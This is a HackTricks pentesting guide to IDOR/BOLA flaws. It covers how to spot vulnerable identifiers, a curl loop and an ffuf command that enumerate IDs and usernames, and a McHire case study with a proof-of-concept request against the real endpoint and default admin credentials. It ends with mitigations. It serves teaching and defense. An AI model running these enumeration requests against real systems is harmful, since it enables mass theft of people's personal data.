IDOR (Insecure Direct Object Reference)

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) appears when a web or API endpoint discloses or accepts a user–controllable identifier that is used directly to access an internal object without verifying that the caller is authorized to access/modify that object.
Successful exploitation normally allows horizontal or vertical privilege-escalation such as reading or modifying other users’ data and, in the worst case, full account takeover or mass-data exfiltration.


1. Identifying Potential IDORs

  1. Look for parameters that reference an object:
    • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
    • Query: ?id=42, ?invoice=2024-00001
    • Body / JSON: {"user_id": 321, "order_id": 987}
    • Headers / Cookies: X-Client-ID: 4711
  2. Prefer endpoints that read or update data (GET, PUT, PATCH, DELETE).
  3. Note when identifiers are sequential or predictable – if your ID is 64185742, then 64185741 probably exists.
  4. Explore hidden or alternate flows (e.g. ā€œParadox team membersā€ link in login pages) that might expose extra APIs.
  5. Use an authenticated low-privilege session and change only the ID keeping the same token/cookie. The absence of an authorization error is usually a sign of IDOR.

Quick manual tampering (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Automated enumeration (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
  curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
       -H 'Content-Type: application/json' \
       -H "Cookie: auth=$TOKEN" \
       -d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Error-response oracle for user/file enumeration

When a download endpoint accepts both a username and a filename (e.g. /view.php?username=<u>&file=<f>), subtle differences in error messages often create an oracle:

  • Non-existent username → ā€œUser not foundā€
  • Bad filename but valid extension → ā€œFile does not existā€ (sometimes also lists available files)
  • Bad extension → validation error

With any authenticated session, you can fuzz the username parameter while holding a benign filename and filter on the ā€œuser not foundā€ string to discover valid users:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
  -b 'PHPSESSID=<session-cookie>' \
  -w /opt/SecLists/Usernames/Names/names.txt \
  -fr 'User not found'

Once valid usernames are identified, request specific files directly (e.g., /view.php?username=amanda&file=privacy.odt). This pattern commonly leads to unauthorized disclosure of other users’ documents and credential leakage.


2. Real-World Case Study – McHire Chatbot Platform (2025)

During an assessment of the Paradox.ai-powered McHire recruitment portal the following IDOR was discovered:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: user session cookie for any restaurant test account
  • Body parameter: {"lead_id": N} – 8-digit, sequential numeric identifier

By decreasing lead_id the tester retrieved arbitrary applicants’ full PII (name, e-mail, phone, address, shift preferences) plus a consumer JWT that allowed session hijacking. Enumeration of the range 1 – 64,185,742 exposed roughly 64 million records.

Proof-of-Concept request:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
     -H 'Content-Type: application/json' \
     -d '{"lead_id":64185741}'

Combined with default admin credentials (123456:123456) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.


3. Impact of IDOR / BOLA

  • Horizontal escalation – read/update/delete other users’ data.
  • Vertical escalation – low privileged user gains admin-only functionality.
  • Mass-data breach if identifiers are sequential (e.g., applicant IDs, invoices).
  • Account takeover by stealing tokens or resetting passwords of other users.

4. Mitigations & Best Practices

  1. Enforce object-level authorization on every request (user_id == session.user).
  2. Prefer indirect, unguessable identifiers (UUIDv4, ULID) instead of auto-increment IDs.
  3. Perform authorization server-side, never rely on hidden form fields or UI controls.
  4. Implement RBAC / ABAC checks in a central middleware.
  5. Add rate-limiting & logging to detect enumeration of IDs.
  6. Security test every new endpoint (unit, integration, and DAST).

5. Tooling

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks